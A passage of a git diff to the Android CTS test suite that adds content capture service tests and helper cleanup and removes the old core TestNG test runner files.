+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.contentcaptureservice.cts2"
+ android:targetSandboxVersion="2">
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".OutsideOfPackageActivity"
+ android:label="OutsideOfPackage"
+ android:taskAffinity=".OutsideOfPackageActivity"
+ android:theme="@android:style/Theme.NoTitleBar">
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for the AutoFill Framework APIs."
+ android:targetPackage="android.contentcaptureservice.cts2" >
+ </instrumentation>
+
+</manifest>
diff --git a/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
new file mode 100644
index 0000000..5025762
--- /dev/null
+++ b/tests/contentcaptureservice/OutsideOfPackageActivity/src/android/contentcaptureservice/cts2/OutsideOfPackageActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts2;
+
+import android.app.Activity;
+
+/**
+ * This activity is used to test temporary Content Capture Service interactions with activities
+ * outside of its own package. It is intentionally empty.
+ */
+public class OutsideOfPackageActivity extends Activity { }
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
index 072c770..3cf1acc 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
@@ -35,7 +35,7 @@
/**
* Base class for all activities.
*/
-abstract class AbstractContentCaptureActivity extends Activity {
+public abstract class AbstractContentCaptureActivity extends Activity {
private final String mTag = getClass().getSimpleName();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
index 8f77b2b..2534412 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
@@ -44,6 +44,7 @@
import com.android.compatibility.common.util.SettingsStateChangerRule;
import com.android.compatibility.common.util.SettingsUtils;
+import org.junit.After;
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -201,6 +202,12 @@
CtsContentCaptureService.resetStaticState();
}
+ @After
+ public void clearServiceWatcher() {
+ Log.v(mTag, "@After: clearServiceWatcher()");
+ CtsContentCaptureService.clearServiceWatcher();
+ }
+
@Nullable
public static void setFeatureEnabledBySettings(@Nullable boolean enabled) {
SettingsUtils.syncSet(sContext, CONTENT_CAPTURE_ENABLED, enabled ? "1" : "0");
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
index 0f7e298..866b947 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -311,12 +311,17 @@
@NonNull List<ContentCaptureEvent> events, int minimumSize,
@NonNull AutofillId... expectedIds) {
final int actualSize = events.size();
+ final int disappearedEventIndex;
if (actualSize == minimumSize) {
// Activity stopped before TYPE_VIEW_DISAPPEARED were sent.
return false;
+ } else if (actualSize == minimumSize + 1) {
+ // Activity did not receive TYPE_VIEW_TREE_APPEARING and TYPE_VIEW_TREE_APPEARED.
+ disappearedEventIndex = minimumSize;
+ } else {
+ disappearedEventIndex = minimumSize + 1;
}
- assertThat(events).hasSize(minimumSize + 1);
- final ContentCaptureEvent batchDisappearEvent = events.get(minimumSize);
+ final ContentCaptureEvent batchDisappearEvent = events.get(disappearedEventIndex);
if (expectedIds.length == 1) {
assertWithMessage("Should have just one deleted id on %s", batchDisappearEvent)
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
index 6775d56..6f64be3 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
@@ -15,23 +15,30 @@
*/
package android.contentcaptureservice.cts;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.contentcaptureservice.cts.CtsContentCaptureService.CONTENT_CAPTURE_SERVICE_COMPONENT_NAME;
import static android.contentcaptureservice.cts.Helper.resetService;
+import static android.contentcaptureservice.cts.Helper.sContext;
import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
import static com.android.compatibility.common.util.ActivitiesWatcher.ActivityLifecycle.RESUMED;
import static com.google.common.truth.Truth.assertThat;
+import android.app.Instrumentation;
import android.content.ComponentName;
+import android.content.Intent;
import android.contentcaptureservice.cts.CtsContentCaptureService.Session;
import android.platform.test.annotations.AppModeFull;
+import android.support.test.uiautomator.UiDevice;
import android.util.Log;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
import com.android.compatibility.common.util.ActivitiesWatcher.ActivityWatcher;
+import org.junit.Before;
import org.junit.Test;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -46,6 +53,8 @@
private static final ActivityTestRule<BlankActivity> sActivityRule = new ActivityTestRule<>(
BlankActivity.class, false, false);
+ private UiDevice mDevice;
+
public BlankActivityTest() {
super(BlankActivity.class);
}
@@ -55,6 +64,12 @@
return sActivityRule;
}
+ @Before
+ public void setup() throws Exception {
+ final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ mDevice = UiDevice.getInstance(instrumentation);
+ }
+
@Test
public void testSimpleSessionLifecycle() throws Exception {
final CtsContentCaptureService service = enableService();
@@ -161,4 +176,21 @@
resetService();
service.waitUntilDisconnected();
}
+
+ @Test
+ public void testOutsideOfPackageActivity_noSessionCreated() throws Exception {
+ final CtsContentCaptureService service = enableService();
+ final ActivityWatcher watcher = startWatcher();
+
+ Intent outsideActivity = new Intent();
+ outsideActivity.setComponent(new ComponentName("android.contentcaptureservice.cts2",
+ "android.contentcaptureservice.cts2.OutsideOfPackageActivity"));
+ outsideActivity.setFlags(FLAG_ACTIVITY_NEW_TASK);
+
+ sContext.startActivity(outsideActivity);
+
+ mDevice.waitForIdle();
+
+ assertThat(service.getAllSessionIds()).isEmpty();
+ }
}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
index 9f453b8..5beb910 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/ChildlessActivityTest.java
@@ -1140,6 +1140,7 @@
watcher1.waitFor(DESTROYED);
// Re-enable feature
+ CtsContentCaptureService.clearServiceWatcher();
final ServiceWatcher reconnectionWatcher = CtsContentCaptureService.setServiceWatcher();
reconnectionWatcher.whitelistSelf();
setFeatureEnabled(service1, reason, /* enabled= */ true);
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
index 349ff36..840bd03 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsContentCaptureService.java
@@ -149,6 +149,16 @@
}
}
+ public static void clearServiceWatcher() {
+ if (sServiceWatcher != null) {
+ if (sServiceWatcher.mReadyToClear) {
+ sServiceWatcher.mService = null;
+ sServiceWatcher = null;
+ } else {
+ sServiceWatcher.mReadyToClear = true;
+ }
+ }
+ }
/**
* When set, doesn't throw exceptions when it receives an event from a session that doesn't
@@ -170,13 +180,14 @@
return;
}
- if (sServiceWatcher.mService != null) {
+ if (!sServiceWatcher.mReadyToClear && sServiceWatcher.mService != null) {
addException("onConnected(): already created: %s", sServiceWatcher);
return;
}
sServiceWatcher.mService = this;
sServiceWatcher.mCreated.countDown();
+ sServiceWatcher.mReadyToClear = false;
if (mConnectedLatch.getCount() == 0) {
addException("already connected: %s", mConnectedLatch);
@@ -208,8 +219,7 @@
latch.countDown();
}
sServiceWatcher.mDestroyed.countDown();
- sServiceWatcher.mService = null;
- sServiceWatcher = null;
+ clearServiceWatcher();
}
/**
@@ -479,6 +489,7 @@
private final CountDownLatch mCreated = new CountDownLatch(1);
private final CountDownLatch mDestroyed = new CountDownLatch(1);
+ private boolean mReadyToClear = true;
private Pair<Set<String>, Set<ComponentName>> mWhitelist;
private CtsContentCaptureService mService;
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index e01ed72..74429de 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -111,6 +111,65 @@
}
/**
+ * Test for session lifecycle events.
+ */
+ @Test
+ public void testSessionLifecycleEvents() throws Exception {
+ final CtsContentCaptureService service = enableService();
+ final ActivityWatcher watcher = startWatcher();
+ final AtomicReference<CustomView> customViewRef = new AtomicReference<>();
+
+ CustomViewActivity.setCustomViewDelegate((customView, structure) -> {
+ customViewRef.set(customView);
+ final ContentCaptureSession session = customView.getContentCaptureSession();
+ session.notifySessionResumed();
+ session.notifySessionPaused();
+ });
+
+ final CustomViewActivity activity = launchActivity();
+ watcher.waitFor(RESUMED);
+
+ activity.finish();
+ watcher.waitFor(DESTROYED);
+
+ final Session session = service.getOnlyFinishedSession();
+ Log.v(TAG, "session id: " + session.id);
+
+ assertRightActivity(session, session.id, activity);
+
+ final View grandpa1 = (View) activity.mCustomView.getParent();
+ final View grandpa2 = (View) grandpa1.getParent();
+ final View decorView = activity.getDecorView();
+ final AutofillId customViewId = activity.mCustomView.getAutofillId();
+ Log.v(TAG, "assertJustInitialViewsAppeared(): grandpa1=" + grandpa1.getAutofillId()
+ + ", grandpa2=" + grandpa2.getAutofillId() + ", decor="
+ + decorView.getAutofillId() + "customView=" + customViewId);
+
+ final List<ContentCaptureEvent> events = session.getEvents();
+ Log.v(TAG, "events(" + events.size() + "): " + events);
+ final int additionalEvents = 2;
+
+ assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
+
+ // Assert just the relevant events
+ assertSessionResumed(events, 0);
+ assertViewTreeStarted(events, 1);
+ assertDecorViewAppeared(events, 2, decorView);
+ assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+ assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
+
+ // Assert for session lifecycle events.
+ assertSessionResumed(events, 5);
+ assertSessionPaused(events, 6);
+
+ assertViewWithUnknownParentAppeared(events, 7, session.id, customViewRef.get());
+ assertViewTreeFinished(events, 8);
+ assertSessionPaused(events, 9);
+
+ activity.assertInitialViewsDisappeared(events, additionalEvents);
+ }
+
+ /**
* Tests when the view has virtual children but it doesn't return right away and calls
* the session notification methods instead - this is wrong because the main view will be
* notified last, but we cannot prevent the apps from doing so...
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index ea22140..aa4fa9e 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -122,6 +122,46 @@
}
@Test
+ public void testContentCaptureSessionCache() throws Exception {
+ final CtsContentCaptureService service = enableService();
+ final ActivityWatcher watcher = startWatcher();
+
+ final ContentCaptureContext clientContext = newContentCaptureContext();
+
+ final AtomicReference<ContentCaptureSession> mainSessionRef = new AtomicReference<>();
+ final AtomicReference<ContentCaptureSession> childSessionRef = new AtomicReference<>();
+
+ LoginActivity.onRootView((activity, rootView) -> {
+ final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+ mainSessionRef.set(mainSession);
+ final ContentCaptureSession childSession = mainSession
+ .createContentCaptureSession(clientContext);
+ childSessionRef.set(childSession);
+
+ rootView.setContentCaptureSession(childSession);
+ // Already called getContentCaptureSession() earlier, use cached session (main).
+ assertThat(rootView.getContentCaptureSession()).isEqualTo(childSession);
+
+ rootView.setContentCaptureSession(mainSession);
+ assertThat(rootView.getContentCaptureSession()).isEqualTo(mainSession);
+
+ rootView.setContentCaptureSession(childSession);
+ assertThat(rootView.getContentCaptureSession()).isEqualTo(childSession);
+ });
+
+ final LoginActivity activity = launchActivity();
+ watcher.waitFor(RESUMED);
+
+ activity.finish();
+ watcher.waitFor(DESTROYED);
+
+ final ContentCaptureSessionId childSessionId = childSessionRef.get()
+ .getContentCaptureSessionId();
+
+ assertSessionId(childSessionId, activity.getRootView());
+ }
+
+ @Test
public void testSimpleLifecycle_rootViewSession() throws Exception {
final CtsContentCaptureService service = enableService();
final ActivityWatcher watcher = startWatcher();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
index 5ece59f..67d6670 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
@@ -143,6 +143,9 @@
assertThrows(NullPointerException.class, () -> structure.setTextIdEntry(null));
assertThat(node.getTextIdEntry()).isNull();
+
+ assertThrows(NullPointerException.class, () -> structure.setHintIdEntry(null));
+ assertThat(node.getHintIdEntry()).isNull();
}
@Test
@@ -363,6 +366,7 @@
structure.setText("IGNORE ME!");
structure.setText("Now we're talking!", 4, 8);
structure.setHint("Soylent Green is SPOILER ALERT");
+ structure.setHintIdEntry("HINT ID ENTRY");
structure.setTextStyle(15.0f, 16, 23, 42);
structure.setTextLines(new int[] {4, 8, 15} , new int[] {16, 23, 42});
return structure;
@@ -377,6 +381,7 @@
assertThat(node.getTextSelectionStart()).isEqualTo(4);
assertThat(node.getTextSelectionEnd()).isEqualTo(8);
assertThat(node.getHint()).isEqualTo("Soylent Green is SPOILER ALERT");
+ assertThat(node.getHintIdEntry()).isEqualTo("HINT ID ENTRY");
assertThat(node.getTextSize()).isWithin(1.0e-10f).of(15.0f);
assertThat(node.getTextColor()).isEqualTo(16);
assertThat(node.getTextBackgroundColor()).isEqualTo(23);
diff --git a/tests/core/runner/Android.bp b/tests/core/runner/Android.bp
deleted file mode 100644
index de3d724..0000000
--- a/tests/core/runner/Android.bp
+++ /dev/null
@@ -1,48 +0,0 @@
-// Copyright (C) 2009 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-//==========================================================
-// Build the core runner.
-//==========================================================
-
-// Build library
-java_library {
- name: "cts-core-test-runner",
-
- srcs: ["src/**/*.java"],
- static_libs: [
- "compatibility-device-util",
- "android-support-test",
- "vogarexpect",
- "testng",
- ],
-
- libs: ["android.test.runner.stubs"],
- sdk_version: "test_current",
-
-}
-
-//==========================================================
-// Build the run listener
-//==========================================================
-
-// Build library
-java_library {
- name: "cts-test-runner",
-
- srcs: ["src/com/android/cts/runner/**/*.java"],
- static_libs: ["android-support-test"],
- sdk_version: "current",
-
-}
diff --git a/tests/core/runner/AndroidManifest.xml b/tests/core/runner/AndroidManifest.xml
deleted file mode 100644
index 001e6f2..0000000
--- a/tests/core/runner/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.core.tests.runner">
- <uses-permission android:name="android.permission.INTERNET" />
- <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-
- <application>
- <uses-library android:name="android.test.runner" />
- </application>
-
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.core.tests.runner"
- android:label="cts framework tests"/>
-
-</manifest>
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
deleted file mode 100644
index 4419b4b..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.os.Bundle;
-import android.util.Log;
-import com.google.common.base.Splitter;
-import java.io.IOException;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Set;
-import javax.annotation.Nullable;
-import org.junit.runner.Description;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runners.ParentRunner;
-import org.junit.runners.Suite;
-import vogar.expect.Expectation;
-import vogar.expect.ExpectationStore;
-import vogar.expect.ModeId;
-import vogar.expect.Result;
-
-/**
- * Filter out tests/classes that are not requested or which are expected to fail.
- *
- * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
- * something like this:
- * <pre>
- * Suite
- * Suite
- * Suite
- * ParentRunner
- * Test
- * ...
- * ...
- * ParentRunner
- * Test
- * ...
- * ...
- * Suite
- * ParentRunner
- * Test
- * ...
- * ...
- * ...
- * </pre>
- *
- * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
- * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
- * the leaf nodes.
- */
-class ExpectationBasedFilter extends Filter {
-
- static final String TAG = "ExpectationBasedFilter";
-
- private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
-
- private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
-
- private final ExpectationStore expectationStore;
-
- private static List<String> getExpectationResourcePaths(Bundle args) {
- return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
- }
-
- public ExpectationBasedFilter(Bundle args) {
- ExpectationStore expectationStore = null;
- try {
- // Get the set of resource names containing the expectations.
- Set<String> expectationResources = new LinkedHashSet<>(
- getExpectationResourcePaths(args));
- Log.i(TAG, "Loading expectations from: " + expectationResources);
- expectationStore = ExpectationStore.parseResources(
- getClass(), expectationResources, ModeId.DEVICE);
- } catch (IOException e) {
- Log.e(TAG, "Could not initialize ExpectationStore: ", e);
- }
-
- this.expectationStore = expectationStore;
- }
-
- @Override
- public boolean shouldRun(Description description) {
- // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
- // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
- // visited in the case when we are traversing the hierarchy of classes.
- Description testDescription = getTestDescription(description);
- if (testDescription != null) {
- String className = testDescription.getClassName();
- String methodName = testDescription.getMethodName();
- String testName = className + "#" + methodName;
-
- if (expectationStore != null) {
- Expectation expectation = expectationStore.get(testName);
- if (expectation.getResult() != Result.SUCCESS) {
- Log.d(TAG, "Excluding test " + testDescription
- + " as it matches expectation: " + expectation);
- return false;
- }
- }
- }
-
- return true;
- }
-
- private Description getTestDescription(Description description) {
- List<Description> children = description.getChildren();
- // An empty description is by definition a test.
- if (children.isEmpty()) {
- return description;
- }
-
- // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
- // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
- // (where each Throwable corresponds to a test called initializationError) and so its
- // description contains children, one for each Throwable, and so is not treated as a test
- // to filter. Unfortunately, it does not support Filterable so this filter is never applied
- // to its children.
- // See https://github.com/junit-team/junit/issues/1253
- Description child = children.get(0);
- String methodName = child.getMethodName();
- if ("initializationError".equals(methodName)) {
- return child;
- }
-
- return null;
- }
-
- @Override
- public String describe() {
- return "TestFilter";
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
deleted file mode 100644
index 7a68a8b..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * Listener for TestNG runs that provides gtest-like console output.
- *
- * Prints a message like [RUN], [OK], [ERROR], [SKIP] to stdout
- * as tests are being executed with their status.
- *
- * This output is also saved as the device logs (logcat) when the test is run through
- * cts-tradefed.
- */
-public class SingleTestNGTestRunListener implements org.testng.ITestListener {
- private int mTestStarted = 0;
-
- private Map<String, Throwable> failures = new LinkedHashMap<>();
-
- private static class Prefixes {
- @SuppressWarnings("unused")
- private static final String INFORMATIONAL_MARKER = "[----------]";
- private static final String START_TEST_MARKER = "[ RUN ]";
- private static final String OK_TEST_MARKER = "[ OK ]";
- private static final String ERROR_TEST_RUN_MARKER = "[ ERROR ]";
- private static final String SKIPPED_TEST_MARKER = "[ SKIP ]";
- private static final String TEST_RUN_MARKER = "[==========]";
- }
-
- // How many tests did TestNG *actually* try to run?
- public int getNumTestStarted() {
- return mTestStarted;
- }
-
- public Map<String, Throwable> getFailures() {
- return Collections.unmodifiableMap(failures);
- }
-
- @Override
- public void onFinish(org.testng.ITestContext context) {
- System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
- }
-
- @Override
- public void onStart(org.testng.ITestContext context) {
- System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
- }
-
- @Override
- public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
- onTestFailure(result);
- }
-
- @Override
- public void onTestFailure(org.testng.ITestResult result) {
- // All failures are coalesced into one '[ FAILED ]' message at the end
- // This is because a single test method can run multiple times with different parameters.
- // Since we only test a single method, it's safe to combine all failures into one
- // failure at the end.
- //
- // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
- String id = getId(result);
- Throwable throwable = result.getThrowable();
- System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
- id, stringify(throwable)));
- failures.put(id, throwable);
- }
-
- @Override
- public void onTestSkipped(org.testng.ITestResult result) {
- System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
- getId(result)));
- }
-
- @Override
- public void onTestStart(org.testng.ITestResult result) {
- mTestStarted++;
- System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
- getId(result)));
- }
-
- @Override
- public void onTestSuccess(org.testng.ITestResult result) {
- System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
- }
-
- private String getId(org.testng.ITestResult test) {
- // TestNG is quite complicated since tests can have arbitrary parameters.
- // Use its code to stringify a result name instead of doing it ourselves.
-
- org.testng.remote.strprotocol.TestResultMessage msg =
- new org.testng.remote.strprotocol.TestResultMessage(
- null, /*suite name*/
- null, /*test name -- display the test method name instead */
- test);
-
- String className = test.getTestClass().getName();
- //String name = test.getMethod().getMethodName();
- return String.format("%s#%s", className, msg.toDisplayString());
-
- }
-
- private String stringify(Throwable error) {
- return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
deleted file mode 100644
index deb18df..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.util.Log;
-
-import org.testng.TestNG;
-import org.testng.xml.XmlClass;
-import org.testng.xml.XmlInclude;
-import org.testng.xml.XmlSuite;
-import org.testng.xml.XmlTest;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Test executor to run a single TestNG test method.
- */
-public class SingleTestNgTestExecutor {
- // Execute any method which is in the class klass.
- // The klass is passed in separately to handle inherited methods only.
- // Returns true if all tests pass, false otherwise.
- public static Result execute(Class<?> klass, String methodName) {
- if (klass == null) {
- throw new NullPointerException("klass must not be null");
- }
-
- if (methodName == null) {
- throw new NullPointerException("methodName must not be null");
- }
-
- //if (!method.getDeclaringClass().isAssignableFrom(klass)) {
- // throw new IllegalArgumentException("klass must match method's declaring class");
- //}
-
- SingleTestNGTestRunListener listener = new SingleTestNGTestRunListener();
-
- // Although creating a new testng "core" every time might seem heavyweight, in practice
- // it seems to take a mere few milliseconds at most.
- // Since we're running all the parameteric combinations of a test,
- // this ends up being neglible relative to that.
- TestNG testng = createTestNG(klass.getName(), methodName, listener);
- testng.run();
-
- if (listener.getNumTestStarted() <= 0) {
- // It's possible to be invoked here with an arbitrary method name
- // so print out a warning incase TestNG actually had a no-op.
- Log.w("TestNgExec", "execute class " + klass.getName() + ", method " + methodName +
- " had 0 tests executed. Not a test method?");
- }
-
- return new Result(testng.hasFailure(), listener.getFailures());
- }
-
- private static org.testng.TestNG createTestNG(String klass, String method,
- SingleTestNGTestRunListener listener) {
- org.testng.TestNG testng = new org.testng.TestNG();
- testng.setUseDefaultListeners(false); // Don't create the testng-specific HTML/XML reports.
- // It still prints the X/Y tests succeeded/failed summary to stdout.
-
- // We don't strictly need this listener for CTS, but having it print SUCCESS/FAIL
- // makes it easier to diagnose which particular combination of a test method had failed
- // from looking at device logcat.
- testng.addListener(listener);
-
- /* Construct the following equivalent XML configuration:
- *
- * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
- * <suite>
- * <test>
- * <classes>
- * <class name="$klass">
- * <include name="$method" />
- * </class>
- * </classes>
- * </test>
- * </suite>
- *
- * This will ensure that only a single klass/method is being run by testng.
- * (It can still be run multiple times due to @DataProvider, with different parameters
- * each time)
- */
- List<XmlSuite> suites = new ArrayList<>();
- XmlSuite the_suite = new XmlSuite();
- XmlTest the_test = new XmlTest(the_suite);
- XmlClass the_class = new XmlClass(klass);
- XmlInclude the_include = new XmlInclude(method);
-
- the_class.getIncludedMethods().add(the_include);
- the_test.getXmlClasses().add(the_class);
- suites.add(the_suite);
- testng.setXmlSuites(suites);
-
- return testng;
- }
-
- public static class Result {
- private final boolean hasFailure;
- private final Map<String,Throwable> failures;
-
-
- Result(boolean hasFailure, Map<String, Throwable> failures) {
